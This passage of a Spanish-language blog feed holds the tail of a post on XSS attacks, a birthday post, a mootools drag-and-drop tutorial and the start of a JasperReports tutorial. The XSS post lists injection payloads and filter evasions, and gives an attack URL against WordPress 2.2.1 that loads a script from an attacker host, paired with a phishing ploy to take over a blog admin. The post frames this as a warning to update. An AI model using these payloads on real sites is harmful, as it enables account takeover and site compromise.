<p>Este es el mas tonto, si un sitio cuenta con esto, es que realmente fue desarrollado por un completo inepto (Sin animo de ofender a nadie).</p>
<div class="codecolorer-container html" style="height:32px;"><div class="codecolorer" style="font-family: monospace;">&quot;/&gt;<span class="sc2"><span class="kw2">&lt;SCRIPT&gt;</span></span>alert('XSS')<span class="sc2"><span class="kw2">&lt;/SCRIPT&gt;</span></span></div></div>
<p>Estos dos en caso de que tengan filtradas las comillas</p>
<div class="codecolorer-container html"><div class="codecolorer" style="font-family: monospace;">&quot;/&gt;<span class="sc2"><span class="kw2">&lt;SCRIPT&gt;</span></span>alert(/XSS/.source)<span class="sc2"><span class="kw2">&lt;/SCRIPT&gt;</span></span><br />
&quot;/&gt;<span class="sc2"><span class="kw2">&lt;SCRIPT&gt;</span></span>alert(String.fromCharCode(88,83,83))<span class="sc2"><span class="kw2">&lt;/SCRIPT&gt;</span></span></div></div>
<p>Este es muy útil algunas veces, para que veas que no solo con etiquetas <strong>&lt;script&gt;</strong> se puede realizar un ataque.</p>
<div class="codecolorer-container html" style="height:32px;"><div class="codecolorer" style="font-family: monospace;">&quot;&gt;<span class="sc2"><span class="kw2">&lt;BODY</span> <span class="kw3">ONLOAD</span>=alert<span class="br0">&#40;</span>/xss/.source<span class="br0">&#41;</span><span class="kw2">&gt;</span></span></div></div>
<p>Una pequeña para cuando te restringen el tamaño de un campo.</p>
<div class="codecolorer-container html" style="height:32px;"><div class="codecolorer" style="font-family: monospace;">'';!--&quot;<span class="sc2">&lt;XSS&gt;</span>=<span class="sc1">&amp;{()}</span><br />
<span class="sc1"></span</div></div>
<p>Una muy buena!</p>
<div class="codecolorer-container html" style="height:32px;"><div class="codecolorer" style="font-family: monospace;">';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&gt;<span class="sc2"><span class="kw2">&lt;/SCRIPT&gt;</span></span>&quot;&gt;'&gt;<span class="sc2"><span class="kw2">&lt;SCRIPT&gt;</span></span>alert(String.fromCharCode(88,83,83))<span class="sc2"><span class="kw2">&lt;/SCRIPT&gt;</span></span>=<span class="sc1">&amp;{}</span><br />
<span class="sc1"></span</div></div>
<p>Si te has dado cuenta lo primero que hay que hacer es terminar el tag vulnerable con esto &#8220;/> luego insertar el código malicioso.</p>
<p>Esto es realmente sencillo, solo necesitas tener un poco de imaginación y conocer Javascript, con un poco de pasciencia podrás ir mejorando tus habilidades al encontrar vulnerabilidades.</p>
<p><strong>Ejemplo:</strong><br />
La versión de <strong>wordpress 2.2.1</strong> tiene una grave vulnerabilidad, en la pagina <strong>upload.php</strong> recibe una serie de parámetros, entre ellos uno que se llama <strong>style</strong>, este parámetro no esta filtrado y se imprime directamente en la página.</p>
<p>Con un poco de ingeniería social y un poco de javascript un usuario malintencionado puede tomar el control absoluto del blog, para esto simplemente le mandas al admin un correo fake diciéndole que le han dejado un comentario en el blog y que lo puede ver mediante un link, el usuario da clic sobre el link y listo, el código maligno se ejecuta. El link puede ser semejante a este:</p>
<div class="codecolorer-container text" style="height:32px;">http://www.victima.com/wp-admin/upload.php?style="><SCRIPT SRC=http://atacante.com/xss.js></SCRIPT>&tab=upload&post_id=-1337</div>
<p>Al ejecutar este link, se incluye un script alojado en el servidor del atacante y se ejecuta sobre las paginas de la victima, un ejemplo de lo que pudiera contener este script puede ser insertar un nuevo usuario administrador, insertar posts, en el peor de los casos borrar todos tus post, editar los archivos php mediante el editor de wordpress, y muchas cosas mas y todo esto que estoy mencionando es realmente sencillo no necesitas ser un gurú para realizarlo, así que si tienes un wordpress mantente actualizado.</p>
<p>Actualmente he enviado varios avisos a personas que tienen esta versión de wordpress, y le he mandado el link anterior, claro esta que el xss.js no lo tengo implementado, por último es importante mencionar que difundas este conocimiento para que se le de un buen uso.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.crysfel.com/index.php/2007/12/09/xss-attacks-ataques-xss/feed/</wfw:commentRss>
		<feedburner:origLink>http://www.crysfel.com/index.php/2007/12/09/xss-attacks-ataques-xss/</feedburner:origLink></item>
		<item>
		<title>Un año mas</title>
		<link>http://feedproxy.google.com/~r/crysfel/~3/fVbDQpwlP80/</link>
		<comments>http://www.crysfel.com/index.php/2007/11/22/un-ano-mas/#comments</comments>
		<pubDate>Thu, 22 Nov 2007 19:16:15 +0000</pubDate>
		<dc:creator>Crysfel</dc:creator>
		
		<category><![CDATA[Personal]]></category>

		<guid isPermaLink="false">http://www.crysfel.com/index.php/2007/11/22/un-ano-mas/</guid>
		<description><![CDATA[Pues si, ha pasado un año más para mi, y es que hoy es el día de mi cumpleaños! increible cuan rápido pasa el tiempo, el año pasado estaba en la universidad terminando la carrera, y ahora ya me encuentro trabajando, realmente que el tiempo vuela y hay que aprovecharlo.
Por cierto, se acepta cualquier tipo [...]]]></description>
			<content:encoded><![CDATA[<p>Pues si, ha pasado un año más para mi, y es que hoy es el día de mi cumpleaños! increible cuan rápido pasa el tiempo, el año pasado estaba en la universidad terminando la carrera, y ahora ya me encuentro trabajando, realmente que el tiempo vuela y hay que aprovecharlo.</p>
<p>Por cierto, se acepta cualquier tipo de regalo, me lo pueden mandar por correo <img src='http://www.crysfel.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Saludos!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.crysfel.com/index.php/2007/11/22/un-ano-mas/feed/</wfw:commentRss>
		<feedburner:origLink>http://www.crysfel.com/index.php/2007/11/22/un-ano-mas/</feedburner:origLink></item>
		<item>
		<title>Drag and Drop con mootools</title>
		<link>http://feedproxy.google.com/~r/crysfel/~3/tNq-jsiy9PE/</link>
		<comments>http://www.crysfel.com/index.php/2007/10/31/drag-and-drop-con-mootools/#comments</comments>
		<pubDate>Wed, 31 Oct 2007 23:46:20 +0000</pubDate>
		<dc:creator>Crysfel</dc:creator>
		
		<category><![CDATA[Featured]]></category>

		<category><![CDATA[JavaScript]]></category>

		<category><![CDATA[Tutoriales]]></category>

		<guid isPermaLink="false">http://www.crysfel.com/index.php/2007/10/31/drag-and-drop-con-mootools/</guid>
		<description><![CDATA[El día de hoy quiero mostrar como realizar un Drag and Drop utilizando mootools, el ejemplo será sencillo pero se muestran los eventos necesarios para realizar algo más complejo. El ejemplo siguiente muestra lo que se planea realizar, arrastra la carpeta de la izquierda sobre cualquiera de los botes azules.









var drops = $$("#cubos .drop");
var clon;
$("mover").addEvent("mousedown",function(event){
	event [...]]]></description>
			<content:encoded><![CDATA[<p>El día de hoy quiero mostrar como realizar un Drag and Drop utilizando mootools, el ejemplo será sencillo pero se muestran los eventos necesarios para realizar algo más complejo. El ejemplo siguiente muestra lo que se planea realizar, arrastra la carpeta de la izquierda sobre cualquiera de los botes azules.</p>
<div id="mover" style="width:64px;height:64px;background-image:url(http://www.crysfel.com/wp-content/uploads/2007/10/folder.png);"></div>
<div id="cubos" style="width:400px;margin:0px 100px">
<div class="drop" style="float:left;margin:3px;width:128px;height:128px;background-image:url(http://www.crysfel.com/wp-content/uploads/2007/10/botebacio.png);"></div>
<div class="drop" style="float:left;margin:3px;width:128px;height:128px;background-image:url(http://www.crysfel.com/wp-content/uploads/2007/10/botebacio.png);"></div>
<div class="drop" style="float:left;margin:3px;width:128px;height:128px;background-image:url(http://www.crysfel.com/wp-content/uploads/2007/10/botebacio.png);"></div>
<div class="drop" style="float:left;margin:3px;width:128px;height:128px;background-image:url(http://www.crysfel.com/wp-content/uploads/2007/10/botebacio.png);"></div>
<div style="clear:both;"></div>
</div>
<p><script type="text/javascript">
var drops = $$("#cubos .drop");
var clon;
$("mover").addEvent("mousedown",function(event){
	event = new Event(event).stop();
	if(!$chk(clon)) clon = this.clone();
	clon.setStyles(this.getCoordinates());
	clon.inject(document.body);
clon.setStyle("z-index",500);	
clon.setStyle("opacity",0.7);
	clon.makeDraggable({droppables:drops}).start(event);
	clon.addEvent("emptydrop",function(){
		//if($chk(clon)){ clon.remove(); clon= null;}
	});
});
drops.setStyle("opacity",0.7);
drops.each(function(drop){
	var fx = new Fx.Styles(drop, {duration:300, wait:false});
	drop.addEvent("drop",function(){
		if($chk(clon)){ clon.remove(); clon= null;}
		this.setStyle("background-image","url(http://www.crysfel.com/wp-content/uploads/2007/10/botelleno.png)");
	});
	drop.addEvent("over",function(){
		fx.start({"opacity":1});
	});
	drop.addEvent("leave",function(){
		fx.start({"opacity":0.7});
	});
});
</script></p>
<p>Hacer esto es muy sencillo, antes que nada hay que <a href="http://mootools.net/download">descargar la ultima versión de mootools</a> (mootools-release-1.11.js actualmente), luego de esto la importamos al documento así:</p>
<div class="codecolorer-container html" style="height:32px;"><div class="codecolorer" style="font-family: monospace;"><span class="sc2"><span class="kw2">&lt;script</span> <span class="kw3">type</span>=<span class="st0">&quot;text/javascript&quot;</span> <span class="kw3">src</span>=<span class="st0">&quot;mootools-release-1.11.js&quot;</span><span class="kw2">&gt;</span></span><span class="sc2"><span class="kw2">&lt;/script&gt;</span></span></div></div>
<p>El siguiente paso es crear el objeto que se arrastrara y los botecitos donde se soltará la carpeta, el HTML quedará de la siguiente manera.</p>
<div class="codecolorer-container html"><div class="codecolorer" style="font-family: monospace;"><span class="sc2"><span class="kw2">&lt;div</span> <span class="kw3">id</span>=<span class="st0">&quot;mover&quot;</span><span class="kw2">&gt;</span></span><span class="sc2"><span class="kw2">&lt;/div&gt;</span></span><br />
<span class="sc2"><span class="kw2">&lt;div</span> <span class="kw3">id</span>=<span class="st0">&quot;cubos&quot;</span><span class="kw2">&gt;</span></span><br />
&nbsp; &nbsp; <span class="sc2"><span class="kw2">&lt;div</span> <span class="kw3">class</span>=<span class="st0">&quot;drop&quot;</span><span class="kw2">&gt;</span></span><span class="sc2"><span class="kw2">&lt;/div&gt;</span></span><br />
&nbsp; &nbsp; <span class="sc2"><span class="kw2">&lt;div</span> <span class="kw3">class</span>=<span class="st0">&quot;drop&quot;</span><span class="kw2">&gt;</span></span><span class="sc2"><span class="kw2">&lt;/div&gt;</span></span><br />
&nbsp; &nbsp; <span class="sc2"><span class="kw2">&lt;div</span> <span class="kw3">class</span>=<span class="st0">&quot;drop&quot;</span><span class="kw2">&gt;</span></span><span class="sc2"><span class="kw2">&lt;/div&gt;</span></span><br />
&nbsp; &nbsp; <span class="sc2"><span class="kw2">&lt;div</span> <span class="kw3">class</span>=<span class="st0">&quot;drop&quot;</span><span class="kw2">&gt;</span></span><span class="sc2"><span class="kw2">&lt;/div&gt;</span></span><br />
<span class="sc2"><span class="kw2">&lt;/div&gt;</span></span></div></div>
<p>Ahora mediante CSS acomodamos al tamaño correcto y le ponemos las imágenes respectivas.</p>
<p><span id="more-41"></span></p>
<div class="codecolorer-container css"><div class="codecolorer" style="font-family: monospace;"><span class="re0">#mover</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; width<span class="re2">:<span class="re3">64px</span></span>;<br />
&nbsp; &nbsp; height<span class="re2">:<span class="re3">64px</span></span>;<br />
&nbsp; &nbsp; background-image<span class="re2">:url</span><span class="br0">&#40;</span>folder<span class="re1">.png</span><span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span><br />
<span class="re0">#cubos</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; width<span class="re2">:<span class="re3">400px</span></span>;<br />
&nbsp; &nbsp; margin<span class="re2">:<span class="re3">100px</span></span> <span class="kw2">auto</span>;<br />
<span class="br0">&#125;</span><br />
<span class="re1">.drop</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; float<span class="re2">:left</span>;<br />
&nbsp; &nbsp; margin<span class="re2">:<span class="re3">3px</span></span>;<br />
&nbsp; &nbsp; width<span class="re2">:<span class="re3">128px</span></span>;<br />
&nbsp; &nbsp; height<span class="re2">:<span class="re3">128px</span></span>;<br />
&nbsp; &nbsp; background-image<span class="re2">:url</span><span class="br0">&#40;</span>boteBacio<span class="re1">.png</span><span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span></div></div>
<p>Una vez lista la interfase, viene lo divertido, pues es hora de programar las acciones y eventos a realizar.</p>
<p>Mootools tiene una forma muy sencilla de realizar el Drag and Drop, simplemente al elemento que se hace “dragable” se le asignan los elementos que serán “dropables” para este elemento mediante un arreglo.</p>
<p>Con esto en mente tomamos todos los elementos que contengan la clase “drop”, para esto simplemente utilizamos la función doble dólar y le pasamos la expresión que necesitamos.</p>
<div class="codecolorer-container javascript"><div class="codecolorer" style="font-family: monospace;"><span class="kw2">var</span> drops = $$<span class="br0">&#40;</span><span class="st0">'#cubos .drop'</span><span class="br0">&#41;</span>;<br />
<span class="kw2">var</span> clon;</div></div>
<p>Hasta aquí contamos con un arreglo de elementos, además de que se ha creado una variable llamada clon, la cual no contiene nada por ahora, esta variable clon lo que contendrá es una copia del elemento mover y se le modificará su propiedad de la transparencia, todo esto se realizará cuando se le presiona el Mouse sobre el elemento mover.</p>
<p>El pseudo código es el siguiente:</p>
<div class="codecolorer-container javascript"><div class="codecolorer" style="font-family: monospace;">$<span class="br0">&#40;</span><span class="st0">'mover'</span><span class="br0">&#41;</span>.<span class="me1">addEvent</span><span class="br0">&#40;</span><span class="st0">'mousedown'</span>,<span class="kw2">function</span><span class="br0">&#40;</span>event<span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="co1">//detenemos la propagación del evento</span><br />
&nbsp; &nbsp; <span class="co1">//si no existe una instancia del clon, se copia el elemento mover</span><br />
&nbsp; &nbsp; <span class="co1">//asignamos las mismas coordenadas al clon del objeto mover</span><br />
&nbsp; &nbsp; <span class="co1">//agregamos el clon al dom</span><br />
&nbsp; &nbsp; <span class="co1">//le asignamos una opacidad al clon del 70%</span><br />
&nbsp; &nbsp; <span class="co1">//hacemos al clon dragable e iniciamos el evento manualmente</span><br />
&nbsp; &nbsp; <span class="co1">//asignamos el evento emptydrop al clon, el cual se ejecuta cuando</span><br />
&nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;<span class="co1">//se ha soltado el clon fuera de los elementos dropables, de esta manera</span><br />
&nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;<span class="co1">//podemos desaparecer al clon cuando se suelta en un lugar no deseado.</span><br />
<span class="br0">&#125;</span><span class="br0">&#125;</span><span class="br0">&#41;</span>;</div></div>
<p>Esto en javascript se escribe de la siguiente manera:</p>
<div class="codecolorer-container javascript"><div class="codecolorer" style="font-family: monospace;">$<span class="br0">&#40;</span><span class="st0">'mover'</span><span class="br0">&#41;</span>.<span class="me1">addEvent</span><span class="br0">&#40;</span><span class="st0">'mousedown'</span>,<span class="kw2">function</span><span class="br0">&#40;</span>event<span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; event = <span class="kw2">new</span> Event<span class="br0">&#40;</span>event<span class="br0">&#41;</span>.<span class="kw3">stop</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span>!$chk<span class="br0">&#40;</span>clon<span class="br0">&#41;</span><span class="br0">&#41;</span> clon = <span class="kw1">this</span>.<span class="me1">clone</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; clon.<span class="me1">setStyles</span><span class="br0">&#40;</span><span class="kw1">this</span>.<span class="me1">getCoordinates</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; clon.<span class="me1">inject</span><span class="br0">&#40;</span>document.<span class="me1">body</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; clon.<span class="me1">setStyle</span><span class="br0">&#40;</span><span class="st0">'opacity'</span>,<span class="nu0">0.7</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; clon.<span class="me1">makeDraggable</span><span class="br0">&#40;</span><span class="br0">&#123;</span>droppables:drops<span class="br0">&#125;</span><span class="br0">&#41;</span>.<span class="me1">start</span><span class="br0">&#40;</span>event<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; clon.<span class="me1">addEvent</span><span class="br0">&#40;</span><span class="st0">'emptydrop'</span>,<span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span>$chk<span class="br0">&#40;</span>clon<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span> clon.<span class="me1">remove</span><span class="br0">&#40;</span><span class="br0">&#41;</span>; clon= <span class="kw2">null</span>;<span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span><span class="br0">&#41;</span>;</div></div>
<p>Lo único importante para comentar, es prestar atención a la función <strong>makeDraggable</strong>, pues esta es la responsable de que los elementos se puedan arrastrar en el documento, además, dentro de las opciones que se le pasan esta la de <strong>droppables</strong>, la cual es el arreglo de elementos en los que puede ser soltado el elemento que estamos arrastrando.</p>
<p>Lo que sigue es programar los eventos para los elementos dropables, los cuales son tres, el <strong>over</strong>, que se ejecuta cuando el elemento que se esta arrastrando esta sobre el elemento en cuestión, el <strong>leave</strong>, que se ejecuta cada vez que el elemento que se esta arrastrando sale del elemento en cuestión, y el mas importante, el <strong>drop</strong> se ejecuta cuando el elemento que se esta arrastrando es soltado sobre el elemento en cuestión.</p>
<p>Con esto en mente codificamos lo siguiente</p>
<div class="codecolorer-container javascript"><div class="codecolorer" style="font-family: monospace;">drops.<span class="me1">setStyle</span><span class="br0">&#40;</span><span class="st0">'opacity'</span>,<span class="nu0">0.7</span><span class="br0">&#41;</span>;<br />
drops.<span class="me1">each</span><span class="br0">&#40;</span><span class="kw2">function</span><span class="br0">&#40;</span>drop<span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="kw2">var</span> fx = <span class="kw2">new</span> Fx.<span class="me1">Styles</span><span class="br0">&#40;</span>drop, <span class="br0">&#123;</span>duration:<span class="nu0">300</span>, wait:<span class="kw2">false</span><span class="br0">&#125;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; drop.<span class="me1">addEvent</span><span class="br0">&#40;</span><span class="st0">'drop'</span>,<span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span>$chk<span class="br0">&#40;</span>clon<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span> clon.<span class="me1">remove</span><span class="br0">&#40;</span><span class="br0">&#41;</span>; clon= <span class="kw2">null</span>;<span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">setStyle</span><span class="br0">&#40;</span><span class="st0">'background-image'</span>,<span class="st0">'url(boteLleno.png)'</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; drop.<span class="me1">addEvent</span><span class="br0">&#40;</span><span class="st0">'over'</span>,<span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; fx.<span class="me1">start</span><span class="br0">&#40;</span><span class="br0">&#123;</span><span class="st0">'opacity'</span>:<span class="nu0">1</span><span class="br0">&#125;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; drop.<span class="me1">addEvent</span><span class="br0">&#40;</span><span class="st0">'leave'</span>,<span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; fx.<span class="me1">start</span><span class="br0">&#40;</span><span class="br0">&#123;</span><span class="st0">'opacity'</span>:<span class="nu0">0.7</span><span class="br0">&#125;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span><span class="br0">&#41;</span>;</div></div>
<p>Primero se ponen con opacidad en 70%, luego se itera el arreglo y a cada elemento se le asigna los eventos de los que he hablado anteriormente (drop, over, leave), en los eventos leave y over, únicamente se cambia la opacidad mediante una transición, esto es gracias a la clase Fx.Styles, y en el evento drop se verifica que exista una instancia del clon, de ser así se elimina, luego se cambia la imagen del bote vacío por el bote lleno.</p>
<p>Pues esto es todo, realmente sencillo, espero que todo este claro, a continuación pongo el código completo del ejemplo, simplemente copia y pega.</p>
<div class="codecolorer-container html" style="height:390px;"><div class="codecolorer" style="font-family: monospace;"><span class="sc0">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot;</span><br />
<span class="sc0">&nbsp; &nbsp; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&gt;</span><br />
<br />
<span class="sc2"><span class="kw2">&lt;html</span> xmlns=<span class="st0">&quot;http://www.w3.org/1999/xhtml&quot;</span> xml:<span class="kw3">lang</span>=<span class="st0">&quot;es&quot;</span> <span class="kw3">lang</span>=<span class="st0">&quot;es&quot;</span><span class="kw2">&gt;</span></span><br />
<span class="sc2"><span class="kw2">&lt;head&gt;</span></span><br />
&nbsp; &nbsp; <span class="sc2"><span class="kw2">&lt;meta</span> <span class="kw3">http-equiv</span>=<span class="st0">&quot;Content-Type&quot;</span> <span class="kw3">content</span>=<span class="st0">&quot;text/html; charset=utf-8&quot;</span>/<span class="kw2">&gt;</span></span><br />
&nbsp; &nbsp; <span class="sc2"><span class="kw2">&lt;title&gt;</span></span>Crysfel's Blog<span class="sc2"><span class="kw2">&lt;/title&gt;</span></span><br />
<span class="sc2"><span class="kw2">&lt;script</span> <span class="kw3">type</span>=<span class="st0">&quot;text/javascript&quot;</span> <span class="kw3">src</span>=<span class="st0">&quot;mootools-release-1.11.js&quot;</span><span class="kw2">&gt;</span></span><span class="sc2"><span class="kw2">&lt;/script&gt;</span></span><br />
<span class="sc2"><span class="kw2">&lt;style</span> <span class="kw3">type</span>=<span class="st0">&quot;text/css&quot;</span><span class="kw2">&gt;</span></span><br />
html,body{<br />
&nbsp; &nbsp; text-align:center;<br />
}<br />
#mover{<br />
&nbsp; &nbsp; width:64px;<br />
&nbsp; &nbsp; height:64px;<br />
&nbsp; &nbsp; background-image:url(folder.png);<br />
}<br />
#cubos{<br />
&nbsp; &nbsp; width:400px;<br />
&nbsp; &nbsp; margin:100px auto;<br />
}<br />
.drop{<br />
&nbsp; &nbsp; float:left;<br />
&nbsp; &nbsp; margin:3px;<br />
&nbsp; &nbsp; width:128px;<br />
&nbsp; &nbsp; height:128px;<br />
&nbsp; &nbsp; background-image:url(boteBacio.png);<br />
}<br />
<span class="sc2"><span class="kw2">&lt;/style&gt;</span></span><br />
<span class="sc2"><span class="kw2">&lt;/head&gt;</span></span><br />
<br />
<span class="sc2"><span class="kw2">&lt;body&gt;</span></span><br />
<span class="sc2"><span class="kw2">&lt;div</span> <span class="kw3">id</span>=<span class="st0">&quot;mover&quot;</span><span class="kw2">&gt;</span></span><span class="sc2"><span class="kw2">&lt;/div&gt;</span></span><br />
<span class="sc2"><span class="kw2">&lt;div</span> <span class="kw3">id</span>=<span class="st0">&quot;cubos&quot;</span><span class="kw2">&gt;</span></span><br />
&nbsp; &nbsp; <span class="sc2"><span class="kw2">&lt;div</span> <span class="kw3">class</span>=<span class="st0">&quot;drop&quot;</span><span class="kw2">&gt;</span></span><span class="sc2"><span class="kw2">&lt;/div&gt;</span></span><br />
&nbsp; &nbsp; <span class="sc2"><span class="kw2">&lt;div</span> <span class="kw3">class</span>=<span class="st0">&quot;drop&quot;</span><span class="kw2">&gt;</span></span><span class="sc2"><span class="kw2">&lt;/div&gt;</span></span><br />
&nbsp; &nbsp; <span class="sc2"><span class="kw2">&lt;div</span> <span class="kw3">class</span>=<span class="st0">&quot;drop&quot;</span><span class="kw2">&gt;</span></span><span class="sc2"><span class="kw2">&lt;/div&gt;</span></span><br />
&nbsp; &nbsp; <span class="sc2"><span class="kw2">&lt;div</span> <span class="kw3">class</span>=<span class="st0">&quot;drop&quot;</span><span class="kw2">&gt;</span></span><span class="sc2"><span class="kw2">&lt;/div&gt;</span></span><br />
<span class="sc2"><span class="kw2">&lt;/div&gt;</span></span><br />
<span class="sc2"><span class="kw2">&lt;script</span> <span class="kw3">type</span>=<span class="st0">&quot;text/javascript&quot;</span><span class="kw2">&gt;</span></span><br />
var drops = $$('#cubos .drop');<br />
var clon;<br />
<br />
$('mover').addEvent('mousedown',function(event){<br />
&nbsp; &nbsp; event = new Event(event).stop();<br />
&nbsp; &nbsp; if(!$chk(clon)) clon = this.clone();<br />
&nbsp; &nbsp; clon.setStyles(this.getCoordinates());<br />
&nbsp; &nbsp; clon.inject(document.body);<br />
&nbsp; &nbsp; clon.setStyle('opacity',0.7);<br />
&nbsp; &nbsp; clon.makeDraggable({droppables:drops}).start(event);<br />
&nbsp; &nbsp; clon.addEvent('emptydrop',function(){<br />
&nbsp; &nbsp; &nbsp; &nbsp; if($chk(clon)){ clon.remove(); clon= null;}<br />
&nbsp; &nbsp; });<br />
});<br />
<br />
drops.setStyle('opacity',0.7);<br />
drops.each(function(drop){<br />
&nbsp; &nbsp; var fx = new Fx.Styles(drop, {duration:300, wait:false});<br />
&nbsp; &nbsp; drop.addEvent('drop',function(){<br />
&nbsp; &nbsp; &nbsp; &nbsp; if($chk(clon)){ clon.remove(); clon= null;}<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.setStyle('background-image','url(boteLleno.png)');<br />
&nbsp; &nbsp; });<br />
&nbsp; &nbsp; drop.addEvent('over',function(){<br />
&nbsp; &nbsp; &nbsp; &nbsp; fx.start({'opacity':1});<br />
&nbsp; &nbsp; });<br />
&nbsp; &nbsp; drop.addEvent('leave',function(){<br />
&nbsp; &nbsp; &nbsp; &nbsp; fx.start({'opacity':0.7});<br />
&nbsp; &nbsp; });<br />
});<br />
<span class="sc2"><span class="kw2">&lt;/script&gt;</span></span><br />
<span class="sc2"><span class="kw2">&lt;/body&gt;</span></span><br />
<span class="sc2"><span class="kw2">&lt;/html&gt;</span></span></div></div>
]]></content:encoded>
			<wfw:commentRss>http://www.crysfel.com/index.php/2007/10/31/drag-and-drop-con-mootools/feed/</wfw:commentRss>
		<feedburner:origLink>http://www.crysfel.com/index.php/2007/10/31/drag-and-drop-con-mootools/</feedburner:origLink></item>
		<item>
		<title>Enviar parámetros a un reporte en JasperReport</title>
		<link>http://feedproxy.google.com/~r/crysfel/~3/Uo4WGqhkKXg/</link>
		<comments>http://www.crysfel.com/index.php/2007/10/01/enviar-parametros-a-un-reporte-en-jasperreport/#comments</comments>
		<pubDate>Mon, 01 Oct 2007 22:43:01 +0000</pubDate>
		<dc:creator>Crysfel</dc:creator>
		
		<category><![CDATA[Desarrollo]]></category>

		<category><![CDATA[Featured]]></category>

		<category><![CDATA[Java]]></category>

		<category><![CDATA[Tutoriales]]></category>

		<guid isPermaLink="false">http://www.crysfel.com/index.php/2007/10/01/enviar-parametros-a-un-reporte-en-jasperreport/</guid>
		<description><![CDATA[Hoy quiero continuar el tema de generar reportes pdf por medio de JasperReports, este tutorial es mas avanzado que el anterior, así que te sugiero leer la introducción en caso de que seas realmente nuevo con esta herramienta.
Goals
Hoy tratare el tema de paso de parámetros al reporte, y se definiran algunos conceptos claves, al igual [...]]]></description>
			<content:encoded><![CDATA[<p>Hoy quiero continuar el tema de generar reportes pdf por medio de JasperReports, este tutorial es mas avanzado que el anterior, así que te sugiero leer <a href="http://www.crysfel.com/index.php/2007/06/19/introduccion-a-jasperreport/">la introducción</a> en caso de que seas realmente nuevo con esta herramienta.</p>
<p><strong>Goals</strong><br />
Hoy tratare el tema de paso de parámetros al reporte, y se definiran algunos conceptos claves, al igual que se hará un plantilla donde se mostrara como dar formato a texto entre otras cosas mas.</p>
<p>Para comenzar es necesario poner el enviroment adecuado, ya sabes, agregar al classpath las librerías requeridas (Señaladas en <a href="http://www.crysfel.com/index.php/2007/06/19/introduccion-a-jasperreport/">la introducción</a>), luego de esto creamos un archivo de texto llamado <strong>plantilla.jrxml</strong> y nos disponemos a diseñar la plantilla por medio de xml.</p>
<p><strong>Preparando el papel</strong><br />
Para este tutorial se va a realizar un reporte que muestre los alumnos de una carrera x de una universidad z, no voy a pasarle la información de los alumnos, solo la información necesaria para generar una plantilla, El primer paso es agregar la cabecera y configurar el nodo principal.</p>
<p><span id="more-40"></span></p>
<div class="codecolorer-container xml"><div class="codecolorer" style="font-family: monospace;"><span class="sc3"><span class="re1">&lt;?xml</span> <span class="re0">version</span>=<span class="st0">&quot;1.0&quot;</span><span class="re2">?&gt;</span></span><br />
<span class="sc0">&lt;!DOCTYPE jasperReport</span><br />
<span class="sc0">&nbsp; PUBLIC &quot;-//JasperReports//DTD Report Design//EN&quot;</span><br />
<span class="sc0">&nbsp; &quot;http://jasperreports.sourceforge.net/dtds/jasperreport.dtd&quot;&gt;</span><br />
<br />
<span class="sc3"><span class="re1">&lt;jasperReport</span> <span class="re0">name</span>=<span class="st0">&quot;Plantilla&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="re0">pageWidth</span>=<span class="st0">&quot;595&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="re0">pageHeight</span>=<span class="st0">&quot;842&quot;</span><br />
